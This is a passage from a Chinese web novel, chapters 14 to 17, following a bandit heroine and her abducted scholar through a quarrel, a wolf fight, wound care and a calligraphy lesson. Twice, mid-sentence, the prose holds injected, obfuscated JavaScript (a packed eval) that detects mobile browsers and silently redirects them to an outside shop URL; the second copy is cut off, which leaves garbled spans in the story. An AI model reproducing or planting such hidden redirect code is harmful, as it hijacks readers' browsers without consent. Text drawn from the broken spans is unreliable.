他语速越来越急:“你口口声声说于我有恩、待我好,可这桩桩件件,有哪一件是我想要的?我来山寨不久,却也看得明白。你当初不愿嫁陶肃,不正是厌恶被人安排、被人强迫吗?你不喜欢他,不愿将就。那为何到了我身上,你就能理所当然地强迫我,把我捆在你身边?崔执瑶,你此举……和你最讨厌的那位师兄,又有何区别?” 其他话崔执瑶尚还能忍,唯独最后这一句,像一根淬毒的针,精准狠辣地扎进了崔执瑶最敏感、最不堪触碰的旧伤。 她脸上的怒容瞬间僵住,血色褪尽。 四周空气骤然降至冰点。 “……你拿我,跟陶肃比?” “有何不可?”纪文焕不退不让,“我说的,哪一句不对?你甚至做得更绝!至少陶肃还没真将你绑去拜堂!你厌恶他的行径,自己却甘之如饴!崔执瑶,你不觉得这很讽刺吗?你不觉得自己很可……” “住口!” 崔执瑶厉声截断,胸膛剧烈起伏,眼中翻涌着难以辨明的情绪。 “你心里惦记着自由,只恨我、想摆脱我……可你自己的死活,你当真想过吗?你知不知道这崖有多深?你那条绳子,若是在半途被石头磨断了……你会是什么下场?!” 话头又绕回攀崖,纪文焕本能地还想反驳,可所有冲到嘴边的话,在再次看清崔执瑶神情的瞬间,戛然而止。 不是因为她的话,而是因为她此刻的神情。 她向来是无所不能、锋利逼人的,仿佛没什么能刺破那层坚壳。可此刻,那强撑的怒容之下,是某种压抑到极致、近乎破碎的东西。愤怒,后怕,或许还有别的……糅杂在一起,让她看起来竟有几分摇摇欲坠。 纪文焕像被当头浇了一盆冰水,沸腾的血液骤然冷却,理智回笼。 他经常与人争辩,但已经很久没有这样抛开所有体面与算计,失态至此了。 天色已经渐沉了。 两人各立一头,无声对峙。山风穿林而过,卷起衣袂,却掩不住彼此沉沉的呼吸。 纪文焕如今已经冷静下来,想的自然也是到这个地步该如何才好收场。 他自认无错,既已撕破脸面,更不愿低头认输。虽他与崔执瑶相识不久,对但她的脾性也能摸清七八——她绝非先服软之人。 二人僵持不下,纪文焕毫无头绪之时—— “嗷呜——” 一声狼嚎,自密林不远处传来。 二人同时色变,齐齐循声望去。 纪文焕虽常听崔执瑶与孟云松提及后山有豺狼虎豹,可他独自来过多次,从未撞见,早不放在心上。 未料竟真遇上了。 看来今日……是注定无法善了了。 14. 第 14 章 崔执瑶倏然转头看向纪文焕,一语不发,拉住他的手腕便走向不远处的山塘。她掏出一方素帕,浸入水中拧湿,随即抬手去擦他额角的血污。 她离得很近,近到纪文焕能看清她那张没什么表情的脸,但她的动作很专注。此刻危机四伏,纪文焕却仍看着她分了神。 直到伤口被刺得一痛,他才回神,深吸一口气,攥住了她的手腕。 “我自己来。” 狼对血气最是敏锐,他必须尽快清理干净。 他快速擦拭好后,崔执瑶接过那帕子扔了,随即再次拉住他,转身便往林外走。 林间多了些蟋蟀的声响,崔执瑶不敢放松警惕,手一直按在刀柄上,两个人没点火折子,一路走得小心翼翼。 直到第二声狼嚎响起。 这声音太近了。 崔执瑶心中警铃大作,松开纪文焕,将他往旁侧一丛半人高的灌木后一推:“藏好!别出来!” 纪文焕踉跄跌入灌木丛,他本能想站起,又顿住了——他不会武功,此刻出去,徒增累赘。 第二声狼嚎不过片刻,林间一片草丛便微微晃动,幽绿的光点如鬼火般亮起,两只狼一前一后出现在崔执瑶视野,喉咙里发出低沉的低吼。 崔执瑶盯着它们,指节扣紧匕首。 两只狼看见她,没有立刻扑上来。一只伏低了前身,龇着森白的獠牙,朝她发出威胁的低吼,缓缓逼近,另一只则绕到她身后,堵住了退路。 电光石火间,崔执瑶改了主意。她头也不回,反手将腰间火折子掷向灌木丛:“用枯枝枯叶把火点起来,越多越好!” 纪文焕接住火折子,毫不迟疑地猫腰收集枯叶残枝,堆成一垛,手指微颤却迅速地将火苗引燃。 可两头狼却没给崔执瑶太多周旋的时间,面前的狼率先发动攻击,纵身跃起直扑她的肩头,另一头则从后方扑向她的腿弯,意图将她扑倒。 崔执瑶旋身疾闪,竟是朝前狼方向掠去。擦身之际,匕首寒光一划,狼腰侧顿时绽开血口。后狼亦扑了个空。 形势骤变——两狼汇合,幽绿眼瞳死死锁住她,而她孤身立于前面,匕首横在身前,呼吸微乱。 崔执瑶压低重心,不敢放松。她只有一把匕首,必须速战速决。 受伤的前狼被激怒,咆哮着再次猛冲!崔执瑶连番闪避,看准一个破绽,猛然矮身突进,手中匕首狠戾无比地捅入它的胸腔! 紧接着,狼发出一声凄厉的惨叫,崔执瑶在它要倒在地上之际立刻翻身起来,毫不留情地补上一脚,将其彻底踹翻在地,才敢落地站在它面前,见它抽搐几下便渐渐不动了。 崔执瑶还没松口气,纪文焕忽然惊呼:“小心背后!” 崔执瑶还未转身,另一只狼已经趁此间隙猛地扑到她背上,锋利的爪子抓破了她的衣料,深深嵌进肩头的肉里。剧痛袭来,崔执瑶闷哼一声,反手向后猛刺,却只削掉狼耳一块皮肉! 纪文焕看得心头剧震,再也顾不得隐藏,抓起一根燃着的枯枝,用尽全力朝那狼背后掷去! 火焰“呼”地掠过狼尾,野兽惊嘶,下意识松爪回身扑打火苗。它幽绿的眼睛骤然转向灌木丛后的纪文焕,凶光毕露。 纪文焕踉跄后退。 崔执瑶忍痛疾冲,奔向纪文焕方才燃起的那堆火苗。 狼盯紧纪文焕,步步紧逼。 纪文焕背脊抵上树干,退无可退。眼见狼身跃起,他下意识抬臂格挡—— 预想中的撕裂并未到来。 崔执瑶竟以匕首挑起一丛火苗,挥向狼身后!狼惊闪分神,纪文焕趁机脱身。 接连受扰,恶狼狂性大发,转而以更凶猛的势头扑向崔执瑶!崔执瑶手中已多了一根燃着的粗枝,看准来势,将火把当作短矛,狠狠掷向狼眼! 恶狼侧头躲避。就在它视线受阻的刹那,崔执瑶腾身而起,匕首寒光一闪,在它背部划开一道深长血口! 狼痛楚地嚎叫一声,攻势停滞。 崔执瑶落地,与受伤的恶狼几乎同时转身,再度对峙。 此刻,纪文焕也已擎着一支火把,紧挨着站到她身侧。 那狼幽绿目光在两人与熊熊火堆间逡巡片刻,竟未再攻,低呜一声,倏地窜入密林深处。 崔执瑶神经一松,长长吐出口气。 火光映照下,她满身浴血,眼中厉色未褪,宛如修罗降世。那只攥着匕首、抵在胸前的手,稳如磐石,没有丝毫颤抖。她发丝凌乱,几缕沾血的碎发贴在颊边,模样堪称狼狈。 可不知为何,纪文焕却觉得,她像一朵绝壁上挣出的花,在血与火里灼灼绽放,有种惊心动魄的凛艳。 纪文焕又失神了,直至瞥见她背上狼爪撕开的伤口,才急道:“你伤得太重了,得立刻回去。” 崔执瑶勉强点了点头。 纪文焕一手举火,一手搀住她。两人互相倚靠着,踏着渐浓的夜色,步履踉跄地往寨中归去。 两人相互搀扶着回到院子时,满身血污的狼狈模样将映月与嘉音吓得不轻。 纪文焕来不及解释,只急声吩咐映月速去请大夫,自己则半扶半抱地将崔执瑶送入房内。刚在床边坐下,嘉音已端着一盆热水匆匆进来,拧了帕子便要上前照料。 “我来。”纪文焕伸手去接。 嘉音侧身避开:“你是外男,怎可……” “我是她夫君!” 这话脱口而出,不仅嘉音愕然呆住,连靠在床柱上的崔执瑶也蓦然抬眼,看向他。 房中霎时一静。嘉音目光在两人间迅速掠过,压下惊疑,不再多言,垂首退了出去,轻轻带上了门。 纪文焕这才意识到自己说了什么,耳根微热,却已无暇深究。崔执瑶伤势不轻,血仍在缓缓外渗。他定了定神,接过帕子浸入热水。 待到崔执瑶忍着痛楚,小心翼翼褪下半边染血的衣衫,露出血肉模糊的肩背时,纪文焕动作又是一滞。 “你愣着做什么?”崔执瑶伏在枕上,侧过脸,苍白的脸上眉头紧锁。 救人要紧。纪文焕摒除杂念,小心翼翼地为她擦拭起来。 碰到伤处时,崔执瑶疼得眉心紧拧,却咬唇未吭一声。她向来耐痛,这般伤势于她确不算什么。 但纪文焕似有所觉,手上动作放得愈发轻缓。 他留意到她肩上另有一道旧伤,与新伤痕迹不同,不由问道:“肩上这处……又是怎么伤的?” 崔执瑶本欲如实相告,话到唇边却忽生促狭,淡声道:“下山杀人时落下的。” 纪文焕动作果然一顿。 崔执瑶将他细微的反应尽收眼底,唇角微勾,正待再添几句狠话,却见纪文焕已垂下眼帘,继续手上的动作,只低声说了句: “往后下山……还是当心些罢。” 崔执瑶哼笑:“这话,你该去同死在我手下的人说。” “……”纪文焕手下蓦地重了半分,疼得崔执瑶倒吸一口凉气,扭头怒视他。 纪文焕却未抬眼,只道:“也就是你武艺高强。若换了旁人,凭这张嘴……怕是早就在江湖上死无葬身之地了。” 大夫来看过后,说崔执瑶此番伤得不轻,月余内绝不可再动武用力,又开了内服外敷的方子,叮嘱务必静养。 纪文焕客客气气将人送出门,折回房中时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966325|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,见映月已在小几上布好饭菜,正伺候崔执瑶用膳。嘉音也在一旁,轻声问的却是关于纪文焕的事——问她是否当真成了亲,看上他哪一点,又笑说原以为崔执瑶这般飒爽的娘子,不会中意这类文弱书生云云。 崔执瑶只垂睫喝着粥,未置可否。 纪文焕在门外听得真切,眉梢微挑,索性推门而入。目光淡淡扫过嘉音,后者立刻噤声,略显局促地低下头。 崔执瑶已吃得差不多了,映月与嘉音对视一眼,手脚利落地收拾了碗筷,悄声退了出去。 房门轻轻合拢。 纪文焕掩转身看向榻上的崔执瑶,语气不快:“那丫头你又是从哪儿带回来的?” “山下救的。” “你肩上那道旧伤,也是因她吧?” 崔执瑶不语。 纪文焕语气不阴不阳:“崔大小姐当真是侠骨仁心,四处救人。” “纪文焕,”崔执瑶抬眼,“你是还想吵架吗?” 纪文焕喉头一哽,先收了声。 他在床前停下,静默片刻,终是低声道:“今日之事,是我之过。” 崔执瑶眸光微动,只看着他。 “是我不对。未听你劝告,心存侥幸去了后山,以为崖下能有出路。却未料那崖深不可测,本非常人可探。”他顿了顿,“也连累你来寻我,遭狼群围攻,受了这么重的伤。” 崔执瑶偏过头不语。 纪文焕望着她,等她回应。 良久,她才开口:“你不必赔这个不是。你今日所言……并非全无道理。是我强掳你在先,逼迫于你,你心有怨恨,欲求脱身,亦是人之常情。” 纪文焕喉结轻滚,一时无言。 他站了片刻,从袖中取出一物,递到她面前:“这个……送你。” 崔执瑶一怔,目光落在他掌心。那是一支银钗,钗头錾着缠枝钿花,样式古朴奇巧,却算不得有多好看。 “你怎会有这个?” 事已至此,纪文焕也不再相瞒,将下山采买、与陶肃交易之事告诉了她。 崔执瑶听罢,冷笑一声:“你倒真是能耐,连陶肃都能说动。”她抬起眼,目光如针,“所以,这和先前那花环一样,是你被陶肃撞破行踪后,怕东窗事发惹我动怒,才特意买来讨我欢心的?” “不是。”纪文焕答得干脆,声音低了些,“是我看见了,觉得……它适合你。” “适合我?”崔执瑶挑眉,“你几时见我戴过这些钗环首饰?” “若是寻常的东西我也不会拿来送你了。”纪文焕道,纪文焕说着,指尖在簪身底下一扣,竟抽出一根极细的银丝。那丝线表面纤弱,崔执瑶却看出它极为锐利。 崔执瑶眸光一凝。 纪文焕手上未停,指节在簪花下一处凸起轻轻一旋,银丝倏地缩回。他将簪子转向墙面,又转动另一处机括—— “咻!咻!咻!” 三根细如牛毛的银针自簪花中疾射而出,齐齐钉入墙内! 崔执瑶看愣了:“这是……” “你看这簪花形制,”纪文焕将银钗递近些,“在中原铺面里几乎见不到,这是从苍厥传来的玩意儿。看似是钗,实为暗器。早些年,宫中便有贵人曾遭此物暗算。” “宫里的事你也知道?”崔执瑶敏锐道。 纪文焕心头一跳,自知多言,面上却不动声色,淡然道:“不过是从杂书野史中偶然读到罢了。” 空气静了一瞬。烛火噼啪一跳,在她脸上投下摇曳的影。 “银钗我收下了。”她终于道,抬眸看他,神色认真, “但你,我绝不会放走。” 15. 第 15 章 四目相对,空气凝滞。崔执瑶眼中是毫不掩饰的、近乎执拗的占有,如火如焰,烧得纪文焕心头一窒。 他垂下眼帘,掩去眸底晦暗,再抬眼时,已扯出一个敷衍的笑容,显然不愿在此事上继续纠缠。 崔执瑶也不强求他必须给个答案,掀开薄被便要下床。 “这么晚了,去哪儿?”纪文焕下意识问。 “去映月那儿。”崔执瑶道,“本想着过些日子把西厢房收拾出来给你住,但如今嘉音先住了进去,我只能继续和映月挤一挤了。” 她说着,已趿上鞋站直身,睨他一眼:“还是说……你愿意与我同榻而眠?” 纪文焕盯着她没说话。 崔执瑶早料定他这“贞洁烈男”做派,嗤笑一声,抬步便要从他身侧绕过。就在擦肩而过的刹那,手腕却蓦地被一把攥住。 “挤挤吧。” 崔执瑶讶然偏头。 纪文焕像是下了极大的决心,并不看她,耳廓不受控制地漫上薄红,声音也低了几分:“横竖……只是睡觉,又不做什么。况且如今院子里多了外人,你我若长久分房,传出去叫寨主知晓,又是平添麻烦。” 崔执瑶倒是干脆,闻言便松开他的手,转身坐回床沿,拍了拍身侧空位,抬眼看他:“那你还不过来?” 纪文焕动作慢得如同老僧入定,磨蹭着挪到床边坐下,脊背挺得笔直。 崔执瑶早已耐不住他这般扭捏,伸手一把将他拽倒——纪文焕猝不及防跌进榻里,崔执瑶半个身子顺势挨了过来。 两人俱是只着单薄里衣,肌肤相贴的温热触感异常清晰。她散落的发丝有几缕拂过他的脸颊,带来细微的痒意,鼻尖萦绕着她身上淡淡的、混着药味的冷香。 纪文焕浑身绷紧,连手指都不敢动一下,声音都变了调:“你……你做什么!你身上还有伤……” 崔执瑶随手将那几缕恼人的发丝拨开,指尖无意间擦过他发烫的耳廓,感受着他身体的僵硬,反而觉得有趣:“紧张什么?说了不对你做什么。” 纪文焕被她这浑不在意的态度激得心头发堵,鼓足勇气,小心翼翼地将她从自己身侧推开些许。动作间,崔执瑶却轻轻“嘶”了一声。 他动作骤停,半撑起身急急看她:“碰到伤口了?是我不好,疼得厉害么?” 那是下意识的一声轻呼,其实并不很痛。见他一脸紧张模样,崔执瑶反倒觉得新鲜:“原来你这般担心我?” 纪文焕应也不是,否也不是,只低声道:“你终归……是因我才受的伤。” 话落,纪文焕起身要去熄灯,崔执瑶已抬手运起内力,隔空将烛火震灭。 室内陷入一片沉暗,唯有窗棂透入几缕稀薄的月光。 两人齐齐躺下,床榻间多了另一个人的温度与气息,空气都显得逼仄。崔执瑶背上有伤,只能侧身趴着,她没有刻意拉开距离,反而手臂一伸,挽住了纪文焕的胳膊,下巴轻抵在他肩窝。 黑暗中感官被放大,她温热的吐息拂过皮肤,蹭得他脖颈微痒。纪文焕浑身僵着,却不好再推,只得由她这般挨着。 纪文焕却在黑暗中,缓缓睁开了眼睛。月光落在他眼底,一片复杂的清明。 夜渐深,月光悄然挪移。身侧之人的呼吸渐渐变得均匀绵长,纪文焕却久久无法入睡。肩上的触感,鼻尖萦绕的、属于她的气息,都让他心绪纷乱。 他悄悄侧过脸,借着朦胧的月色,只能看见她散落的乌发,和一抹模糊的轮廓。 崔执瑶醒来时,觉得额侧沉沉的,很快反应过来——是纪文焕的头正挨着她的。 她轻轻一动,纪文焕便醒了。 崔执瑶看他睁眼,问道:“我吵醒你了?” 纪文焕神思骤然清明。 他昨夜是与崔执瑶同榻而眠的。 这认知在晨光里变得格外清晰。虽已有过一夜,但此刻醒来,枕畔真切地躺着另一个人,呼吸可闻,发丝相缠,这种感觉仍是微妙的。 紧接着,他意识到自己竟靠在她头上,立刻将头挪开,口中应道:“无妨,我本就睡得不沉。” 又问:“要再歇会儿么?你伤未愈,演武场那边,这几日不去也无妨。” 崔执瑶望了望窗棂透进的光,摇了摇头:“天色不早了。虽不能动武,指点他们几式还是可以的。”说着便要起身。 纪文焕没再劝,也跟着坐起。崔执瑶睡在里侧,需绕过他下床。她正俯身穿鞋,忽听他的声音从身后传来,带着一丝迟疑:“先等等……我给你换过药再去。” 崔执瑶动作顿了顿,没拒绝,只轻轻“嗯”了一声。 一回生,二回熟。纪文焕取来药膏和干净棉布,动作比昨日熟稔了许多。指尖沾着清凉的药膏,小心涂抹在她肩背狰狞的伤口上时,那份初时的不自在,也消散了大半,只余下全神贯注的谨慎。 换好药,崔执瑶整理好衣衫出了门。 纪文焕略作收拾,也随后推开房门,却见崔执瑶并未离去,孟云松正立在她身侧。 纪文焕心头微诧,这几日他给孟云松布置了课业,并未让他前来。 孟云松见他出来,忙捧着书上前一步,恭敬道:“先生,学生有一处实在不解,特来请教,还望先生莫怪学生叨扰。” 天底下没有哪个先生会嫌学生问题多的。纪文焕颔首:“稍后我与你细看。”目光转向崔执瑶,带着疑问,“你怎么还未去演武场?” 崔执瑶抱着手臂,好整以暇地看着他:“我想了想,日日去演武场实在没意思。我看孟云松为了读书连武都少练了,倒好奇这书里究竟有何等妙处。”她顿了顿,唇角微扬,“所以,我决定从今日起,跟着你和孟云松,一道读书。” 此言一出,莫说纪文焕神色微妙,孟云松先瞪大了眼:“大、大小姐,你……你说真的?” “怎么,”崔执瑶挑眉,“这书只许你们读得,我读不得?” 孟云松忍了又忍,还是没憋住,噗嗤一声笑了出来,对纪文焕道:“先生有所不知。幼时寨主也曾教我们识字念书,那时大伙都去听,唯有陶老大与大小姐日日缺席。您可知他们去做什么了?” 崔执瑶抡拳作势威胁:“孟云松,你敢说!” 纪文焕听得嘴角一翘:“去干什么?” 孟云松偷瞄一眼崔执瑶铁青的脸色,脖子一缩:“我……我还是不说了吧……” 纪文焕伸手虚拦崔执瑶,在她不满的目光中温声道:“你且说罢,有我在此,保你不挨打。” 崔执瑶心下嗤笑:何时有人能拦得住她做什么了? 却听纪文焕忽而侧首,看向她,眼底带着些许探究与商量的意味,声音也放软了些:“我实在好奇。让他说罢,可以么……夫人?” 崔执瑶:“……” 可是……他都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“孟云松!”崔执瑶眼睛一瞪,火气上来,“我看你是皮痒想挨揍了!” 话音未落,她已探手去抓孟云松。孟云松惊叫一声,抱头鼠窜,两人顿时绕着站在中间的纪文焕,一个追,一个躲,鸡飞狗跳。 纪文焕被两人围在中间转得头晕,又是好气又是好笑。看准时机,他一把捞住从他身后闪过的孟云松:“行了,都别闹……” 话未说完,崔执瑶瞅准空档,已经揪住孟云松的耳朵,不轻不重地拧了一下。 “哎哟!”孟云松苦着脸哀嚎,“先生偏心!学生分明在为您说话,您怎么还帮着大小姐!” 崔执瑶这才满意松手,扬眉道:“我早说了,他是我的人,自然向着我。” 纪文焕失笑,对孟云松道:“我若替你开罪了她,你我日子都不好过。你让她捶两下又何妨?横竖捶不坏你。” 孟云松恍然大悟:“我明白了,先生这便是传说中的‘惧内’罢!” 纪文焕脸色一僵,耳根隐隐发热,张了张嘴,欲辩无言,最终哭笑不得,也懒得解释了,只是心下有些后悔:早知当初就不该教这小子读那么多书。 他定了定神,索性转开话头:“你们二人,到底还要不要读书?” “要。” 这一回,二人倒是异口同声。 16. 第 16 章 辰时前后,崔执瑶院中的石桌旁已围坐了好几人,宣纸铺开,笔墨备齐,倒有了几分学堂的光景。 纪文焕负手立在桌边,踱步巡视着各人笔下。 原本只有崔执瑶与孟云松二人说要读书,映月在旁瞧着,眼中羡慕,便也怯生生地问能否跟着学。嘉音琴棋书画皆曾涉猎,但见众人兴致勃勃,也坐了过去凑个热闹。 映月是全无根基的新手,纪文焕便让已孟云松先带着她认些简单的字。嘉音自铺了纸,信手勾勒着什么,颇有几分娴雅姿态。余下最叫人头疼的是崔执瑶。 这位大小姐,平生最不耐烦的便是文墨之事,学堂她是从不踏足的。所幸她并非全然目不识丁,常用的字倒也认得。 只是——她不会写。 纪文焕得知时颇感诧异:“那你平日……是如何与陶肃传信的?” 崔执瑶坦诚道:“江湖中人自有用不着写字的传讯法子。” 纪文焕对此略有耳闻,也不多问,只铺开纸笔,从最基础的握笔教起。他亲自为她示范握笔的姿势,指尖如何着力,手腕如何悬停,讲解得细致入微。崔执瑶拧着眉,依样画葫芦,却总不得要领。 纪文焕看不下去,只得立于她身侧,微微俯身,伸出手去,虚虚覆在她执笔的手上,带着她调整指尖的位置。 “这里,拇指需抵住此处……对,食指这般扣着,莫要太用力。” 姿势勉强纠正了,落笔下去,那字却依旧歪歪扭扭,不成体统。 崔执瑶耐着性子写了几行,待纪文焕转身去为孟云松讲解一段文章时,她便立刻松懈下来,笔杆在指间转得如同耍弄匕首签子,纸上却没多添几道像样的笔画,反倒侧过头,与一旁的嘉音低声聊起了天。 纪文焕踱至她二人身侧,屈指在石桌上一叩:“字练好了么?练字须得心静神凝,你这般心不在焉,如何能成?”又看向嘉音,“你既已会了,便莫扰旁人习字,仔细我将你请下桌去。”最后目光落在埋头习字的映月身上,“你们二人瞧瞧她——这才是求学该有的模样。” 在他的注视下,崔执瑶不得不重新提笔。 纪文焕眉头一拧,又叩桌面:“我方才是这般教你握笔的?” 崔执瑶换了个手势,纪文焕面色依旧沉凝。 她只得偷眼去瞧嘉音,依样调整,总算握得像个样子,这才抬眼迎向纪文焕,眸中带着几分硬气。 纪文焕神色仍未缓和:“你可有认真在学?一个握笔姿势能有多难?我便是指点一头猪,此刻也该会了!” 这倒怪不得崔执瑶——方才纪文焕亲手教她时,虽教得认真,可他指尖触及她手背,气息拂过耳畔,崔执瑶的心思早不知飘到何处去了,哪里还学得进去。 自知理亏,她只虚张声势地顶道:“你既然是先生,便不能好好教么?平白骂人做什么?” 纪文焕:“……” 他教孟云松,孟云松教映月,皆未这般费力。偏这最难教的学生,非但不用功,还句句都要顶撞回来。 他忍了忍,还是没压下那口气:“你倒怪起我来了?我教得还少么?你自己不开窍,我又有何法子?” “你教了什么便算多?”崔执瑶挑眉,“不过让我练字罢了。这些字我本就认得,往后若需写什么,照着样子描画便是,有何难处?” “朽木难雕。”纪文焕直视她,语气沉了几分,“写字是最基础的功夫,里头的学问却深。若真如你说得这般轻巧,随便描画即可,世间又何来书法大家?科考又为何要考校字迹工整?” 崔执瑶更不解了:“可我又不做书法大家,更不科考。不是说‘书中自有黄金屋’么?我只需认得黄金屋长什么样子便够了,何必非要学会自己盖屋子?” “满口歪理。”纪文焕低声嗤道。 他索性也学着她那不讲理的劲头,直接道:“我说不过你。但你既选了来上我的课,我便有我的规矩——字必须练好。” “我若偏不呢?” “连字都不愿好好写,想来也无甚向学之心。”纪文焕语气平淡,“你不如趁早放弃,彼此都不必耽误工夫。” “你威胁我?” “岂敢。”纪文焕面无表情,“不过是让你自行抉择。” 崔执瑶盯着他,答应与否都觉自己憋屈——答应,好似向他低头服软;不答应,又显得自己畏难而退,落了下乘。 见她迟疑,纪文焕眼中掠过了然,轻轻挑眉:“怎么?这就让你害怕了?还是说……你心底也觉得自己根本写不好这字?” “谁说我怕了?谁说我写不好?!”崔执瑶瞬间被点着了,那点犹豫被烧得干干净净,“不就是练字吗?你且等着!我定将这篇字帖写得端端正正,亲手奉到你面前!” 她向来如此,越是被人看轻,越要挣一口硬气。即便对纪文焕,也不例外。 激将法对她是最管用的。 一旁几人神色各异地看着这场交锋。纪文焕几不可察地弯了弯唇角,面上却仍淡然:“好,我等着。” 与纪文焕放了狠话后,崔执瑶果然静心了不少,开始认真提笔练字。 可这般清静的时辰并未持续多久,院中便来了位不速之客。 “怪不得师妹今日没去演武场,”陶肃的声音朗朗传来,带着几分戏谑,“原来院里这般热闹。” 众人围坐在石桌边,唯有纪文焕独自立在树下,手里执着一卷书。 孟云松先唤了他一声陶老大,嘉音则凑近映月,小声打听这人是谁。 崔执瑶却皱眉:“你来干什么?” 陶肃晃了晃手中的药包,脸上关切:“昨日见你受伤,今日又没见你去演武场,怕你伤势加重,特来看看。”说着便将药递向崔执瑶,“师妹总不至于连这点好意都要推却吧?” 崔执瑶不接,却转头唤道:“纪文焕,你替我收下。” 正看书的纪文焕闻言抬起眼,面露迟疑,看了看脸色渐沉的陶肃,又望了望面无表情的崔执瑶,终究还是走了过去。他站在崔执瑶身侧,从陶肃手中接过药包:“药我便替瑶娘收下了,多谢陶兄挂心。” 陶肃狠狠瞪了他一眼,纪文焕当作没看见。他也很无奈,明明早告诉过崔执瑶,陶肃已经知道他是被抢来的,也不知这般故作恩爱的戏码,演给他看又有何意义。 纪文焕朝他微微一笑,提着药退开了。 陶肃的目光落在石桌的宣纸上,语带诧异:“师妹竟当真在练字?” “与你何干?” 陶肃轻嗤一声:“你这写得如鬼画符一般,何苦还费这个功夫?” 他瞥见刚从厨房走出来的纪文焕,声音不高不 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他正欲再言,崔执瑶却倏然起身,挡在他前面:“你是听不懂人话吗?他方才说得清清楚楚,是我自己愿意学的。你自认知晓我的性子,难道不知道,我不愿做的事,任谁也逼不了?” 纪文焕适时收声,心道崔执瑶的作风果然直接得多。 陶肃面色微僵,仍坚持道:“师妹对我误会太深了,我不过是关心则切。” “关心?”崔执瑶眉毛一挑,“你一进门便说我的字是鬼画符,这叫关心?你连笔都不会提,有何资格评判我的字?适不适合读书习字,又何时轮到你来替我断定?” 陶肃和她静默了一会儿,硬生生挤出一个略显僵硬的笑容:“师妹教训得是,是我想岔了。” 他忽然转向纪文焕,脸上的神情已变得十分“诚恳”:“纪公子,方才是我小人之心,言语多有冒犯。想来也是因我读书太少了。”他顿了顿,目光紧锁纪文焕,“不知……纪公子如今可还收学生?” 纪文焕心头警铃骤响,崔执瑶亦眸光一凛。 见纪文焕不答,陶肃不算善意地笑了笑:“怎么,纪公子莫非还在记恨我的冒犯,不肯教么?” 崔执瑶张口就要回绝,纪文焕却已迎上陶肃的目光,缓缓颔首:“陶兄愿学,纪某自然没有不教的道理。” 崔执瑶侧目瞪了他一眼,纪文焕只作未见。 陶肃笑意更深:“如此,便有劳纪先生了。” 崔执瑶看着他这副模样,心中有些疑惑,总觉得陶肃肚子里正酝酿着什么坏水。 嘉音的目光在三人之间悄悄打了个转,末了会心一笑。 几人又搬了张木桌出来。孟云松和映月挪到了新桌旁,各自铺纸研墨。 纪文焕立在院中,看着几人伏案习字的模样,一时竟有些恍惚,倒真觉得自己像是在山野间开了间小小学堂。 将陶肃留下这事儿,纪文焕很快就后悔了。 缘由与教崔执瑶时差不多。 几次被纪文焕指出字写得不妥后,陶肃终于按捺不住:“纪文焕,你莫不是存心消遣我?这字有什么好练的?照着模样描画不就行了吗?” 纪文焕有些语塞:“你们俩还真不愧是师兄妹。” 一旁的崔执瑶脸顿时黑了。 她懊悔自己为什么也说那句话。 17. 第 17 章 不过陶肃在场,倒也并非全无益处,至少崔执瑶练字比先前更勤勉了些。他们师兄妹二人自幼争强好胜惯了,不论是否真心喜爱,但凡学了相同的东西,总要暗暗较个高下。 二人各据一边,埋首运笔。 墨迹染透纸背,不知不觉间,竟已过了一个时辰。 陶肃先沉不住气,说话远比崔执瑶更不客气:“纪文焕,你让我们二人枯练这般久,却什么道理也不讲,难不成是你肚里学问有限,根本教无可教?” 纪文焕心道:果然来了。他早料到陶肃留下绝非真心想学,故而在练字这一项上,磨他磨崔执瑶还狠,盼他自行离去。 纪文焕对这激将法无动于衷,只将手中书卷轻轻合上,淡淡重申自己的规矩。他这般油盐不进的模样,让陶肃胸中邪火蹭地窜起,几乎想当场掀了桌子。可目光触及纪文焕那坦然到近乎漠然的眼神,硬生生忍住了,愤然坐回位子,抓起笔狠狠落在纸上,仿佛要将那宣纸戳穿。 纪文焕不再看他,转而望向另一侧——嘉音已写完一整幅字,正搁笔端详。他瞥了一眼,只觉那字迹隐约有些眼熟,却一时想不起在何处见过。 正思忖间,忽听身旁“嘭”的一声闷响—— 崔执瑶的脑袋结结实实磕在了石桌上。 她吃痛地轻呼一声,瞌睡顿时散了大半,捂着额角茫然四顾。周遭神色各异:映月与嘉音面露关切;孟云松咬着唇想笑又不敢笑;陶肃则已毫不客气地嗤笑出声。 纪文焕走近,托着她的下颌将脸转正。待看清她面容时,唇角不由自主地弯了弯。 崔执瑶瞪他:“你笑什么?” 他凭什么笑她!她都没嫌他教的东西太枯燥呢! “没什么,”纪文焕摇头,眼底笑意未褪,“没磕着便好。”说着自然而然地抽出袖中帕子,轻轻拭向她脸颊。 指尖触及肌肤的刹那,两人俱顿住了。 崔执瑶放下捂额的手,怔怔望向他。纪文焕动作微滞,对上她的目光,竟也忘了移开。 四下霎时静极。陶肃面色沉郁,嘉音抿唇忍笑,映月与孟云松不约而同埋下头,假装专心研墨。 纪文焕倏地收回手,将帕子塞进她掌心:“……你自己擦罢。” 嘉音打趣:“你们俩都成亲的人了,怎么还这般羞怯?” 崔执瑶来不及理这话,心头那点朦胧悸动化作疑惑。她未接那帕子,起身走到院角水缸边,俯身一照——脸上赫然蹭着好几道墨痕! 丢死人了! 她仔细洗净脸,慢吞吞挪回座中。见自己笔下字迹早已潦草得不成形,暗恼不已。不过是练个字,竟能练到睡着?当真这般难熬?待会儿还不知要被他如何取笑。 未料纪文焕开口问的却是:“你可是累了?” 她强打精神提笔:“没有,还能练。” 纪文焕瞧着她强撑的模样,心中微微一动。这女匪肯静心习字已属难得,若真是自己教得太过枯燥,消磨了她这点兴致,倒是可惜了。 他终是让步:“罢了,既然乏了,便歇一歇。我给你讲些别的。” 